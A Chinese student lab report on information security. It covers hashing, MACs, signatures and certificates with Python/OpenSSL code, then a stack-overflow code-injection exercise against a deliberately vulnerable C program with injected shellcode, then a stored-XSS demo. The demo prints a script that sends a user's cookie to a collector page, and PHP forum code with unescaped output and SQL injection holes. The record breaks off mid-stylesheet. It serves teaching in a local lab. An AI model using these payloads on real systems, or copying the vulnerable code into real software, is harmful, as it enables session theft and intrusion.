1. 加密与认证
任务
采用Java/Python语言编写一个较为完整的加密与认证程序,要求具有:
- 具有较完整的图形化界面;
- 使用MD5、SHA系列算法,实现消息摘要,确保消息的完整性;
- 使用DES、AES等算法实现对称加密,确保消息的机密性;
- 使用RSA算法,实现公钥加密,且用私钥解密,比较不对称加密和对称加密的性能;
- 实现基于数字证书的数字签名和验证(含证书的生成和创建);
1.1 消息摘要
1.1.1 消息摘要的作用
在网络安全目标中,要求信息在生成、存储或传输过程中保证不被偶然或蓄意地删除、修改、伪造、乱序、重放、插入等破坏和丢失,因此需要一个较为安全的标准和算法,以保证数据的完整性。
常见的消息摘要算法有: Ron Rivest设计的MD(Standard For Message Digest,消息摘要标准)算法 NIST设计的SHA(Secure Hash Algorithm,安全散列算法)
1.1.2 单向散列函数
1 特点
不定长的输入和定长的输出;
对于及其微小的变化,如1bit的变化,器哈希函数所产生的值也差异巨大;
对于不同的原像都有不同的映像,从散列值不可能推导出消息M ,也很难通过伪造消息M’来生成相同的散列值。
Hash函数的值称为作为自变量的消息的“散列值”或“消息摘要”、“数字指纹”
2 哈希函数的分类
1.根据安全水平
- 弱无碰撞
- 强无碰撞
注:强无碰撞自然含弱无碰撞!
2.根据是否使用密钥
- 带秘密密钥的Hash函数:消息的散列值由只有通信双方知道的秘密密钥K来控制,此时散列值称作MAC(Message Authentication Code)
- 不带秘密密钥的Hash函数:消息的散列值的产生无需使用密钥,此时散列值称作MDC(Message Detection Code)
3 哈希函数的应用
- 由Hash函数产生消息的散列值
- 以消息的散列值来判别消息的完整性
- 用加密消息的散列值来产生数字签名
- 用口令的散列值来安全存储口令(认证系统中的口令列表中仅存储口令的Hash函数值,以避免口令被窃取。认证时用输入口令的Hash函数值与其比较)
4 安全哈希函数的实现
- 输入数据分成L个长度固定为r的分组:M=(M1,M2,…,ML)
- 末组附加消息的长度值并通过填充凑足r位
- 压缩函数 f使用n位的链接变量Hi ,其初值H0=IV可任意指定
- 压缩函数 f的最后n位输出HL取作散列值
5 哈希函数:生日攻击
当哈希函数的输入位数太短的时候,就容易产生哈希碰撞,即出现两个原像对应用一个映像的问题。
生日问题 一个教室中至少有几个学生才能使有两个学生生日相同的概率不小于1/2; 等价于“球匣问题” 设J个球随机扔进N个匣子,存在一个匣子中至少有两个球的概率为p,则可以推导出: J2≈-2Nln(1-p)或 p≈ 1-e-J2/2/N 答案 将365个生日看作N=365个匣子,将学生看作球,p=0.5,则由上式可算出J≈23,即23个学生中有两个学生生日相同的概率不小于1/2;
生日攻击实例:
假设张三承诺支付李四100万,约定由李四负责起草合同,并通过8位的散列码H(M)实施信息认证。聪明而无德的李四先起草一个100万的版本,并通过变化其中3个无关紧要之处以得到23=8个不同的消息明文并计算它们的H(M),形成集合A;然后再起草一个200万的版本,用同样方法又得到23=8 个不同的消息明文及其H(M),形成集合B。 由生日问题知:24个8位比特串中发生碰撞的概率不小于1/2,故在A和B共24 =16个H(M)中有可能存在相同的一对,并极有可能一个在A中而另一个在B中。假设与它们对应的明文为MA (100万版) 和MB (200万版) 。于是李四用MA让张三签署并公证,而在传送时偷偷地用MB替代MA 。由于H(MA)= H(MB),故张三确信签署的文件未被篡改。当李四要求张三支付200万时,法院根据MB判李四胜诉,而张三因此损失100万。
1.1.3 MD5算法
Merkle于1989年提出hash function模型 Ron Rivest于1990年提出MD4 1992年, Ron Rivest提出MD5(RFC 1321) 在最近数年之前,MD5是最主要的hash算法 现行美国标准SHA-1以MD5的前身MD4为基础
输入:任意长度消息 输出:128bit消息摘要(16字节编码,32字符) 处理:以512bit输入数据块为单位
1.1.4 SHA安全散列算法
1992年NIST制定了SHA(128位) 1993年SHA成为标准(FIPS PUB 180) 1994年修改产生SHA-1(160位) 1995年SHA-1成为新的标准,作为SHA-1(FIPS PUB 180-1/RFC 3174),为兼容AES的安全性,NIST发布FIPS PUB 180-2,标准化SHA-256, SHA-384和SHA-512
输入:消息长度<264 输出:160bit消息摘要 处理:以512bit输入数据块为单位 基础是MD4
SHA算法的拓展
SHA-256 摘要大小由SHA-1的160位扩大到256位 SHA-384 消息大小由SHA-1的264位扩大到2128位 分组大小由SHA-1的512位扩大到1024位 字长由SHA-1的32位(双字)扩大到64位(4字) 摘要大小由SHA-1的160位扩大到384位 SHA-512 摘要大小由SHA-384的384位扩大到512位
1.1.5 消息摘要的安全隐患
隐患:无法完全阻止数据的修改。
如果在数据传递过程中,窃取者将数据窃取出来,并且修改数据,再重新生成一次摘要,将改后的数据和重新计算的摘要发送给接收者,接收者利用算法对修改过的数据进行验证时,生成的消息摘要和收到的消息摘要仍然相同,消息被判断为“没有被修改”。
做法:除了需要知道消息和消息摘要之外,还需要知道发送者身份—消息验证码。
1.2 消息认证
用于对抗信息主动攻击之一:消息伪造或篡改 目的之一:验证信息来源的真实性 目的之二:验证信息的完整性
消息认证的模型
消息认证的方式
- 加密认证──用消息的密文本身充当认证信息 消息加密的认证;私钥加密公钥解密;公钥私钥双重加解密
- 消息认证码MAC(Message Authentication Code)──由以消息和密钥作为输入的公开函数产生的认证信息 简单MAC认证;基于明文认证;基于密文认证
- 散列值──由以消息作为唯一输入的散列函数产生的认证信息(无需密钥) 6种常用的方式
消息验证码的局限性
消息验证码可以保护信息交换双方不受第三方的攻击,但是它不能处理通信双方的相互攻击 信宿方可以伪造消息并称消息发自信源方,信源方产生一条消息,并用和信宿方共享的密钥产生认证码,并将认证码附于消息之后 信源方可以否认曾发送过某消息,因为信宿方可以伪造消息,所以无法证明信源方确实发送过该消息
在收发双方不能完全信任的情况下,引入数字签名来解决上述问题
1.2.1 基于消息加密的认证
1. 用对称密码体制进行加密认证
- 过程──用同一密钥加密、解密消息
- 作用──认证+保密
- 原理──攻击者无法通过改变密文来产生所期望的明文变化
- 特点──接收方需要判别消息本身的逻辑性或合法性。“我请你吃饭”被乱改成“我请你謯斸”
对称加密实现:AES算法
# AES对称加密
password = b'1234567812345678' # 秘钥,b就是表示为bytes类型
text = b'abcdefghijklmnhi' # 需要加密的内容,bytes类型
aes = AES.new(password, AES.MODE_ECB) # 创建一个aes对象
# AES.MODE_ECB 表示模式是ECB模式
en_text = aes.encrypt(text) # 加密明文
print("密文:", en_text) # 加密明文,bytes类型
den_text = aes.decrypt(en_text) # 解密密文
print("明文:", den_text)
2. 私钥加密,公钥解密
- 过程──发送者用自己的私钥加密明文、接收者用发送者的公钥解密密文
- 作用──认证及签名,但不保密
- 原理──因不知发送者的私钥,故其他人无法产生密文或伪造签名
注意:若用公钥加密、私钥解密,则无法起到认证的作用。因为知道公钥的人都可以通过产生伪造的密文来篡改消息。
私钥加密,公钥解密,只有私钥的拥有者才能加密,适用于数字签名,用于验证身份。
公钥加密,私钥解密,保证了消息的传送的保密性
两者都是不对成加密
混合加密是将**共享密钥加密(对称加密)和公开密钥加密(不对称加密)**结合起来的加密方式。
公开密钥算法实现:RSA算法
3. 用私钥、公钥双重加密、解密
- 过程──发送者先用自己的私钥加密明文,再用接收者的公钥加密一次;接收者先用自己的私钥解密密文,再用发送者的公钥解密一次
- 作用──认证、签名,且保密
- 原理──认证、签名由发送者的私钥加密实现;保密性由接收者的公钥加密保证
1.2.2 消息验证码MAC
计算消息验证码的常用算法有HMAC算法
- 产生──发送者以消息M和与接收者共享的密钥K为输入,通过某公开函数C进行加密运算得到MAC
- 传送并接收──M+MAC
- 认证──接收者以接收到的M和共享密钥K为输入,用C(公开函数)重新加密算得MAC’ ,若MAC’=MAC,则可确信M未被篡改
- 作用──认证,但不保密
消息验证码和MD5/SHA1算法不同的地方
- 在生成摘要时,发送者和接收者都拥有一个共同的密钥。
- 该密钥可以是通过对称密码体系生成的,事先被双方共有,在生成消息验证码时,还必须要有密钥的参与。
- 只有同样的密钥才能生成同样的消息验证码。
1.2.3 基于散列值的认证
1、对附加了散列值的消息实施对称加密,得到并发送Ek(M+H(M)) 认证+保密 2、仅对散列值实施对称加密,得到Ek(H(M)),并与M一起发送 认证+不保密 3、对散列值实施私钥加密,得到EKRa(H(M))并与M一起发送 认证+签名,不保密
4、将消息与用私钥加密后的散列值一起再用共享密钥加密,最后得到Ek(M+EKRa(H(M)))并发送 认证+签名+保密 5、将消息串接一个由通信各方共享的密值S后计算散列值,得到H(M+S)并与M一起发送 认证,不保密 6、先将消息串接一个由通信各方共享的密值S后计算散列值,再将它与消息M一起用共享密钥加密,最后得到Ek(M+H(M+S))并发送 认证+保密
1.3 数字签名
1.3.1 数字签名的概念和作用
1.3.2 数字签名的特点
数字签名必须具有下述特征 收方能够确认或证实发方的签名,但不能伪造,简记为R1-条件(unforgeable) 发方发出签名的消息给收方后,就不能再否认他所签发的消息,简记为S-条件(non-repudiation) 收方对已收到的签名消息不能否认,即有收报认证,简记作R2-条件 第三者可以确认收发双方之间的消息传送,但不能伪造这一过程,简记作T-条件
1.3.3 数字签名与消息认证的区别
1.3.4 数字签名分类与常用算法
根据签名的内容分
- 对整体消息的签名
- 对压缩消息的签名
按明、密文的对应关系划分
- 确定性(Deterministic)数字签名,其明文与密文一一对应,它对一特定消息的签名不变化,如RSA、Rabin等签名;
- 随机化的(Randomized)或概率式数字签名
数字签名常用算法
普通数字签名算法
- RSA
- ElGamal /DSS/DSA
- ECDSA
盲签名算法 群签名算法
RSA算法的签名过程和实现过程
1.4 数字证书
1.4.1 数字证书的作用
任何的密码体制都不是坚不可摧的,公开密钥体制也不例外。由于公开密钥体制的公钥是对所有人公开的,从而免去了密钥的传递,简化了密钥的管理。 但是这个公开性在给人们带来便利的同时,也给攻击者冒充身份篡改公钥有可乘之机。所以,密钥也需要认证,在拿到某人的公钥时,需要先辨别一下它的真伪。这时就需要一个认证机构,将身份证书作为密钥管理的载体,并配套建立各种密钥管理设施。
1.4.2 数字证书的定义
数字证书(Digital Certificate)又称为数字标识(Digital ID)。它提供一种在Internet上验证身份的方式,是用来标志和证明网络通信双方身份的数字信息文件。
1.4.3 数字证书的内容
最简单的证书包含一个公开密钥、名称以及证书授权中心的数字签名。一般情况下证书中还包括密钥的有效时间,发证机关(证书授权中心)的名称,该证书的序列号等信息,证书的格式遵循ITU-T X.509国际标准。
一个标准的X.509数字安全证书包含以下一些内容: (1)证书的版本号。不同的版本的证书格式也不同,在读取证书时首先需要检查版本号。 (2)证书的序列号。每个证书都有一个唯一的证书序列号。 (3)证书所使用的签名算法标识符。签名算法标识符表明数字签名所采用的算法以及使用的参数。 (4)证书的发行机构名称。创建并签署证书的CA的名称,命名规则一般采用X.500格式。 (5)证书的有效期。证书的有效期由证书有效起始时间和终止时间来定义。 (6)证书所有人的名称。命名规则一般采用X.500格式; (7)证书所有人的公开密钥及相关参数。相关参数包括加密算法的标识符及参数等 (8)证书发行机构ID。这是版本2中增加的可选字段。 (9)证书所有人ID。这是版本2中增加的可选字段。 (10)扩展域。这是版本3中增加的字段,它是一个包含若干扩展字段的集合。 (11)证书发行机构对证书的签名,即CA对证书内除本签名字段以外的所有字段的数字签名。
1.4.4 认证中心
CA(Certificate Authority,认证中心)作为权威的、可信赖的、公正的第三方机构,专门负责发放并管理所有参与网上交易的实体所需的数字证书。
CA作为一个权威机构,对密钥进行有效地管理,颁发证书证明密钥的有效性,并将公开密钥同某一个实体(消费者、商户、银行)联系在一起。
CA的主要职责
(1)颁发证书:如密钥对的生成、私钥的保护等,并保证证书持有者应有不同的密钥对。 (2)管理证书:记录所有颁发过的证书,以及所有被吊销的证书。 (3)用户管理:对于每一个新提交的申请,都要和列表中现存的标识名相比较,如出现重复,就给予拒绝。 (4)吊销证书:在证书有效期内使其无效,并发表CRL(Certificate Revocation List,被吊销的证书列表) (5)验证申请者身份:对每一个申请者进行必要的身份认证。 (6)保护证书服务器:证书服务器必须安全的,CA应采取相应措施保证其安全性。 (7)保护CA私钥和用户私钥:CA签发证书所用的私钥要受到严格的保护,不能被毁坏,也不能被非法使用。同时,根据用户密钥对的产生方式,CA在某些情况下有保护用户私钥的责任。 (8)审计和日志检查:为了安全起见,CA对一些重要的操作应记入系统日志。在CA发生事故后,要根据系统日志做善后追踪处理――审计,CA管理员要定期检查日志文件,尽早发现可能的隐患。
CA的基本组成
认证中心主要有三个部分组成
- 注册服务器(RS):面向用户,包括计算机系统和功能接口;
- 注册中心(RA):负责证书的审批;
- 认证中心(CA):负责证书的颁发,是被信任的部门
一个完整的安全解决方案除了有认证中心外,一般还包括以下几个方面:
密码体制的选择
安全协议的选择
SSL(Secure Socket Layer 安全套接字层)
S-HTTP(Secure HTTP,安全的http协议)
SET(Secure Electonic Transaction,安全电子交易协议)
CA的三层体系结构
- 第一层为RCA(Root Certificate Authority,根认证中心)。它的职责是负责制定和审批CA的总政策,签发并管理第二层CA的证书,与其它根CA进行交叉认证。
- 第二层为BCA(Brand Certificate Authority,品牌认证中心)。它的职责是根据RCA的规定,制定具体政策、管理制度及运行规范;签发第三层证书并进行证书管理。
- 第三层为ECA(End user CA,终端用户CA)。它为参与电子商务的各实体颁发证书。签发的证书可分为三类:分别是支付网关(Payment Gateway)、持卡人(Cardholder)和商家(Merchant)签发的证书;签发这三种证书的CA对应的可称之为PCA、CCA和MCA。
【任务完成】
主要是采用OpenSSL命令行操作完成的,虽然使用python写的代码,不过还是是通过系统调用命令的方式进行的。
import os
def input_message():
text = input("请输入一段文字,用于加密:")
fh = open("message.txt", 'w', encoding='utf-8')
fh.write(text)
fh.close()
# 使用md5生成摘要
def dgst_md5(file):
'''file表示文件名+后缀,输出:dgst_file.txt'''
command = "openssl dgst -md5 -out dgst_" + file + ".txt " + file
os.system(command)
# 生成私钥
def key_generate(name):
'''name表示私钥名字,私钥长度为2048,输出为name_prikey.pem'''
command = "openssl genrsa -out " + name + "_prikey.pem"
os.system(command)
# 生成公钥
def key_public(prikey, name):
'''prikey表示私钥的名字,输出为name_pubkey.pem
openssl pkey -in key.pem -pubout -out pubkey.pem
'''
command = "openssl pkey -in " + prikey + ".pem -pubout -out " + name + "_pubkey.pem"
os.system(command)
# 签名
def sign(file, key):
'''file表示要签名的文件的名字,key表示签名所用到的私钥,输出为file.sig
openssl pkeyutl -sign -in message.txt -inkey key.pem -out message.sig'''
command = "openssl pkeyutl -sign -in " + file + ".txt -inkey " + key + ".pem -out " + file + ".sig"
os.system(command)
# 验证签名
def verify(file, signature, pubkey):
'''
signature表示签名文件,key表示公钥,
openssl pkeyutl -verify -in message.txt -sigfile message.sig -pubin -inkey pubkey.pem
'''
command = "openssl pkeyutl -verify -in " + file + " -sigfile " + signature + ".sig -pubin -inkey " + pubkey + ".pem"
os.system(command)
# 普通公钥请求证书
def req_cert(prikey):
'''
prikey表示source的私钥,采用的是source.cnf中的配置信息,输出为source.csr
openssl req -new -key source_prikey.pem -out source.csr
'''
command = " openssl req -new -key " + prikey + ".pem -out source.csr -config source.cnf"
os.system(command)
# 由CA生成证书
def req_x509(csr_name, ca_pubkey, ca_prikey):
'''csr_name表示证书请求文件的名称,ca_pubkey表示ca的公钥即自签证书,ca_prikey表示ca的私钥
使用ca_prikey.pem对证书请求文件csr_name.csr进行签名,生成一个带有签名的证书文件dest.pem
openssl x509 -req -in source.csr -CA ca_cert.pem -CAkey ca_prikey.pem -CAcreateserial -out source_cert.pem
'''
command = " openssl x509 -req -in " + csr_name + ".csr -CA " + ca_pubkey + ".pem -CAkey " + ca_prikey + ".pem -CAcreateserial -out dest.pem"
os.system(command)
# 生成自签名证书
def req_cacert(prikey):
'''
使用 CA 私钥生成自签名的 CA 证书,生成ca_pubkey.pem
openssl req -new -x509 -key ca_prikey.pem -out ca_cert.pem -days 365 -config ca.cnf'''
command = "openssl req -new -x509 -key " + prikey + ".pem -out ca_pubkey.pem -days 365 -config ca.cnf"
os.system(command)
# 从证书中提取公钥
def load_pubkey(cert):
'''
从证书中提取源公钥,cert表示需要提取公钥的证书,输出为source_pubkey_extracted.pem
openssl x509 -in source_cert.pem -pubkey -noout > source_pubkey_extracted.pem
'''
command = "openssl x509 -in " + cert + ".pem -pubkey -noout > source_pubkey_extracted.pem"
os.system(command)
# if __name__ == '__main__':
# 输入内容到message.txt
input_message()
# 生成source的私钥
key_generate("source")
# 生成source的公钥
key_public("source_prikey", "source")
# 生成ca的私钥
key_generate("ca")
# 生成ca的公钥
req_cacert("ca_prikey")
# 1.对message.txt使用md5生成摘要
# 生成文件 dgst_message.txt.txt
dgst_md5("message.txt")
# 2.对摘要dgst_message.txt使用source方的私钥进行签名
# 生成文件 dgst_message.txt.sig
sign("dgst_message.txt", "source_prikey")
# 3.将source方的公钥包含在证书请求文件source.pem中
req_cert("source_prikey")
# 4.CA对csr.pem的证书请求文件进行发布证书
req_x509("source", "ca_pubkey", "ca_prikey")
# 5.对source的签名文件dgst_message.sig文件进行摘要和签名
# 生成文件dgst_dgst_message.txt.sig.txt dgst_dgst_message.txt.sig.sig
dgst_md5("dgst_message.txt.sig")
sign("dgst_dgst_message.txt.sig", "ca_prikey")
# 6.从CA认证的证书dest.pem中提取原公钥
load_pubkey("dest")
# 7.使用由CA认证的证书中提取的公钥对文件进行验证签名
print("使用由CA认证的证书中提取的公钥对文件进行验证签名:")
verify("dgst_message.txt.txt", "dgst_message.txt", "source_pubkey_extracted")
'''
# 使用ca的公钥对于message.sig签名文件进行验证签名,判断是否与message.txt内容相同
print("对CA签名的验证:")
# 这个验证必须要将ca_pubkey.pem通过普通公钥的生成,参考source
verify("dgst_dgst_message.txt.sig.txt", "dgst_dgst_message.txt.sig", "ca_pubkey")
# 使用source的公钥对于dgst_message.sig签名文件进行验证签名,判断是否与dgst_message.txt内容相同
print("使用source的公钥对source签名的验证:")
verify("dgst_message.txt.txt", "dgst_message.txt", "source_pubkey")
'''
2、软件破解(EXE文件破解)
2.1 阅读EXE文件
首先要了解PE文件的结构:
- DOS文件头
- DOS加载模块
- PE文件头
- 区段表
- 区段
2.2 地址
2.1.1 基本概念
Virtual Address, VA, 虚拟地址
VA表示虚拟内存地址,是指在进程虚拟地址空间中的地址,也就是加载到内存中时的地址,其计算方式是将RVA加上映像基址。VA相当于RVA在内存中的映射,可以被程序直接访问。
Relatively Virtual Address, RVA, 相对虚拟地址
RVA表示相对虚拟地址,是指节表中相对于映像基址的偏移量,用于定位节表在虚拟地址空间中的位置。其计算方式是将VA减去映像基址。RVA相当于VA相对于映像基址的偏移量。
Image Base, 映像基址
映像基址则是一个常量,是在编译时由程序员指定的,用于指定可执行文件在内存中的首选加载地址。需要注意的是,映像基址在编译时指定后就不会再改变,如果程序需要在不同的地址空间中运行,就需要重新编译。
Base Address, 内存基址
内存基址(Base Address)是指进程在内存中分配的首选基地址。每个进程都有自己的内存基址,操作系统通过分配不同的内存基址来为每个进程提供独立的内存空间。在Windows操作系统中,每个进程的内存基址通常是通过映像基址(ImageBase)来确定的。当程序被加载到内存中时,系统会将程序映像文件中的各个节表按照一定的规则映射到虚拟内存空间中,并将映像基址添加到各个节表的RVA上,从而计算出各个节表在内存中的VA地址。这样,程序在运行过程中就可以直接访问这些内存地址,实现数据和代码的交互。
需要注意的是,内存基址是可变的,它可以在进程的生命周期内发生变化,例如在进行地址随机化(ASLR)等安全机制的时候,系统会重新分配进程的内存基址,从而增加攻击者的攻击难度。
物理地址
物理地址是指内存中的实际物理地址,是指在物理内存中的地址,其计算方式是将VA减去进程的内存基址。物理地址是操作系统管理的,通常无法直接访问,只能由操作系统进行管理和分配。
Magic Number, 幻数
是PE文件中的一个特殊字段,用来标识文件类型。幻数通常是一个32位的整数,不同的PE文件类型有不同的幻数值。
2.1.2 各个地址之间关系
VA = RVA + Image Base
RVA = VA - Image Base
物理地址 = VA - 内存基址
VA、RVA、映像基址和物理地址之间的关系可以总结为:VA是RVA加上映像基址计算得到的结果,RVA是VA减去映像基址的结果,而物理地址是VA减去内存基址的结果。
2.2 节表
更改返回地址
已经找到成功引起分支的返回地址,在password.txt文件中通过十六进制修改第四个字节(返回地址)为这个验证成功的分支地址。
代码植入
实验程序源代码:
#include <stdio.h>
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[44];
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password); // over flowed here!
return authenticated;
}
int main()
{
int valid_flag = 0;
char password[1024];
FILE *fp;
LoadLibrary("user32.dll"); // prepare for messagebox
if (!(fp = fopen("password.txt", "rw+")))
{
exit(0);
}
fscanf(fp, "%s", password);
valid_flag = verify_password(password);
if (valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
system("pause");
return 0;
}
在这个实验中,将buffer数组的大小扩大到了44个字节。
大致步骤:
(1)分析并调试漏洞程序,获得淹没返回地址的偏移。 (2)获得buffer 的起始地址,并将其写入password.txt 的相应偏移处,用来冲刷返回地址。 (3)向password.txt 中写入可执行的机器代码,用来调用API 弹出一个消息框。
第一步:调试栈的布局
调试漏洞程序,在password.txt根据buffer数组的大小编写11个4321,刚好到达buffer数组末尾。
第12 个输入单元将authenticated 覆盖;第13 个输入单元将前栈帧EBP 值覆盖;第14 个输入单元将返回地址覆盖。
在ollydbg中调试exe文件之后,在堆栈区中搜索4321相关字符串内容,就能够找到他的地址开始分析。
找到buffer数组的地址为0x0019FB30,作为之后的覆盖的返回地址,在buffer数组中存入植入代码。在上面的截图可以看到0019FB5C中的内容最后的两位为00,这里其实就是authenticated的内容,00是上面的字符串最后的结束符NULL的ASCII码。本来strcmp()函数在遇到不相等的时候返回到是一个非0的数,只有当匹配成功的时候才返回0,这里就是被溢出修改了。
按照理论来说,后面三个字节的地址应该为authenticated, EBP, 返回地址的地址。
第二步:查找MessageBoxA的入口地址
获得user32.dll的加载基址,以此加上MessageBoxA的文件偏移量来计算MessageBoxA的入口地址。
使用Process Explore找到了user32.dll的加载地址:0x00007FF8C0D80000(其实不是这个,往后面看)
在64位系统中查看MessageBoxA的偏移地址:
- 在C:\Windows\system32目录下使用dumpbin命令来查看user32.dll文件的导出表:
dumpbin /exports user32.dll
- 在导出表中查找
MessageBoxA
函数,RVA为0x00078A40
所以MessageBoxA的入口为:0x00007FF8C0D80000 + 0x00078A40 = 0x00007FF8C0DF8A40。这里有些不太正确的地方,因为程序本身是32位的程序,所以这个user32.dll的基址不应该是这个。
在64位系统上运行32位程序需要使用WoW64子系统,该子系统允许在64位操作系统中运行32位应用程序。要在WoW64中调用user32.dll模块中的MessageBoxA函数,需要使用32位版本的user32.dll模块。
然后我又用Process Explore重新查找了C:\Windows\SysWOW64
下面的user32.dll的基址和RVA
32-bit的user32.dll加载基址为:0x0000000075230000,偏移地址还是和64-bit版本一样的为:0x00078A40,所以MessageBoxA在这个32位程序中的入口地址为:0x0000000075230000 + 0x00078A40 = 0x00000000752A8A40。
0x00000000764C0000
在32位程序中将0x752A8A40作为MessageBoxA函数的入口点地址来调用该函数。
第三步:编写16进制的API函数
16进制可执行代码和对应的汇编码:
img src=“https://raw.githubusercontent.com/sirius2alpha/Typora-pics/master/2023/04/upgit_20230426_1682518982.png" alt=“image-20230426222300604” style=“zoom: 67%;” />
这4位是填写MessageBoxA的入口地址
最后4位是buffer数组的入口地址
更改弹出窗口的文字为Cracked!,找到对应的ASCII码,68是PUSH指令
最后完成的截图
注:重启完电脑之后好像user32.dll的基址可能会发生变更,需要使用Process Explore查看,并与偏移量进行计算,重新得到加载地址,password.txt中需要更改的位置为第二行中FF前面四位。
3、常见攻击及预防(SQL注入与XSS攻击)
XSS Reflection 攻击
Stored XSS 攻击
攻击流程
攻击者向论坛提交一篇含有XSS的文章;
用户正常登录;
用户浏览攻击者提交的文章;
网站把含有XSS的文章返回给用户;
用户的浏览器执行文章中的XSS;
用户浏览器将session token等发送给攻击者;
攻击者利用用户的session信息,伪装成用户登陆网站。
编写内容
一个论坛网站,含有XSS漏洞,并且攻击者在上面存储有攻击代码的文章;
一段攻击代码,将用户的session token发送给攻击者,攻击者把他保存在本地的txt文件中。
实战演示
1、黑客先登录论坛网站
2、黑客在论坛中添加一篇文章,包含内容:
<script>window.open('http://localhost/xsstest/test.php?cookie='+document.cookie)</script>
在网站更新的时候该段文字就会被解释为JavaScript代码被执行,带着用户的cookie去访问test.php网站.
中间空白的一条就是被解释为代码的JavaScript文本
3、普通用户登录的时候就会跳转到test.php执行
在这个里面就把用户的信息进行了窃取保存在本地文件cookie.txt中,同时重定向到bing.com表示操作成功
代码部分
登陆界面 login.php
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>XSS 登录</title>
<style>
/* Reset styles */
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
/* Body styles */
body {
font-family: Arial, sans-serif;
font-size: 16px;
line-height: 1.5;
color: #333;
background-color: #f5f5f5;
}
/* Main container styles */
.container {
max-width: 500px;
margin: 50px auto;
padding: 20px;
background-color: #fff;
box-shadow: 0 0 10px rgba(0,0,0,.2);
}
/* Form styles */
form {
display: flex;
flex-direction: column;
gap: 10px;
}
label {
font-weight: bold;
}
input[type="text"],
input[type="password"] {
display: block;
width: 100%;
padding: 10px;
border: 1px solid #ccc;
border-radius: 4px;
font-size: inherit;
}
input[type="submit"] {
display: inline-block;
padding: 10px;
border: none;
border-radius: 4px;
background-color: #007bff;
color: #fff;
font-size: inherit;
cursor: pointer;
transition: background-color .3s;
}
input[type="submit"]:hover {
background-color: #0069d9;
}
button {
display: inline-block;
padding: 10px;
border: none;
border-radius: 4px;
background-color: #fff;
color: #007bff;
font-size: inherit;
cursor: pointer;
transition: color .3s;
}
button:hover {
color: #0069d9;
}
</style>
</head>
<body>
<div class="container">
<h1>XSS 登录</h1>
<form action="post.php" method="post">
<label for="username">用户名:</label>
<input type="text" name="username" id="username">
<label for="password">密码:</label>
<input type="password" name="password" id="password">
<input type="submit" value="登录">
<button><a href="reg.php">注册</a></button>
</form>
</div>
</body>
</html>
首页 index.php:
<?php
if(!isset($_COOKIE['username']))//对跳转方式判断,阻止直接跳转;
{
echo '登录非法!<a href="login.php">请登录</a>';
exit();
}
?>
<!DOCTYPE html>
<html>
<head>
<title>xss测试网站</title>
<meta charset="UTF-8">
<style>
body {
background-color: #f2f2f2;
color: #333;
font-family: Arial, sans-serif;
font-size: 16px;
margin: 0;
padding: 0;
}
.container {
margin: 50px auto;
max-width: 800px;
width: 90%;
}
.header {
background-color: #007bff;
color: #fff;
display: flex;
justify-content: space-between;
align-items: center;
padding: 20px;
}
.header h1 {
margin: 0;
}
.header a {
color: #fff;
text-decoration: none;
}
.message {
margin-top: 50px;
}
.message table {
border-collapse: collapse;
width: 100%;
}
.message table td {
border: 1px solid #ccc;
padding: 10px;
}
form {
margin-top: 50px;
}
input[type=text], input[type=password] {
width: 100%;
padding: 12px 20px;
margin: 8px 0;
box-sizing: border-box;
border: none;
border-radius: 4px;
}
input[type=submit] {
background-color: #4CAF50;
color: white;
padding: 14px 20px;
margin: 8px 0;
border: none;
border-radius: 4px;
cursor: pointer;
}
input[type=submit]:hover {
background-color: #45a049;
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>xss测试网站</h1>
<a href="logout.php">注销</a>
</div>
<div class="message">
<table>
<thead>
<tr>
<th>留言内容</th>
</tr>
</thead>
<tbody>
<?php
$db = @mysqli_connect('localhost','root','123456') or die("Fail");
mysqli_select_db($db, 'xsstest');
$sql = "select message from message_board;";
$result = mysqli_query($db, $sql);
if($result) {
while($row=mysqli_fetch_array($result)) {
echo "<tr><td> {$row['message']} </td></tr>";
}
}
mysqli_close($db);
?>
</tbody>
</table>
</div>
<form action="message.php" method="post">
<label for="message">在这里输入你的留言内容:</label><br>
<input type="text" id="message" name="mess"><br>
<input type="submit" value="提交留言">
</form>
</div>
</body>
</html>
登出网站 logout.php
<?php
if(isset($_COOKIE['username'])){
setcookie('username',$name,time()-1);//清除cookie 将时间设置为负数
header('Location:login.php');
}
else{
echo '注销失败';
header('Location:index.php');
}
?>
message.php
<?php
$message = $_POST['mess'];
$db = @mysqli_connect('localhost','root','123456') or die("Fail");
mysqli_select_db($db, 'xsstest');
$sql = "insert into message_board(message) values('$message');";
$result = mysqli_query($db, $sql);
if(!$result) {
die('无法插入数据:'.mysqli_error($db));
}
echo "数据插入成功!\n";
header('Location:index.php');
mysqli_close($db);
?>
post.php
<?php
$conn=mysqli_connect("localhost",'root','123456') or die("数据库连接失败!");//连接你的本地数据库
//localhost为服务器 root为用户名 root为密码
mysqli_select_db($conn,'xsstest') or die("您要选择的数据库不存在");//选择你建立的数据表
$name=$_POST['username'];
$pwd=$_POST['password'];//获取表单提交的内容用两个变量来存post方式接受的值
$sql="select * from user where username='$name' and password='$pwd'";//查询语句
$query=mysqli_query($conn, $sql);//函数执行一条 MySQL 查询。
$arr=mysqli_fetch_array($query);//然后从$query中取一行数字数组
if(is_array($arr)){//对$arr进行判断
setcookie('username',$name,time()+3600);
//设置cookie,时间为一小时,(以秒为单位)
header("Location:index.php");//跳转页面
}else{
echo "您的用户名或密码输入有误,<a href=\"login.php\">请重新登录!</a>";
}
?>
用户注册网站 reg.php
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>xss注册</title>
<style>
body{
padding: 0;
margin: 0;
font-size: 30px;
background-color: #f1f1f1; /* 背景颜色 */
color: #333; /* 字体颜色 */
}
.main{
position: fixed;
top: 50%;
left: 50%;
margin-left: -245px;
margin-top: -201.5px;
width: 490px;
height: 403px;
background-color: #fff; /* 背景颜色 */
padding: 20px;
border-radius: 5px; /* 圆角边框 */
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2); /* 阴影效果 */
}
input{
width:250px;
height:30px;
text-align:left;
color:blue;
border-radius: 5px;
border: none;
padding: 5px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2);
margin-bottom: 10px;
}
.sub{
width:125px;
height:40px;
background-color: #ff6600; /* 按钮背景颜色 */
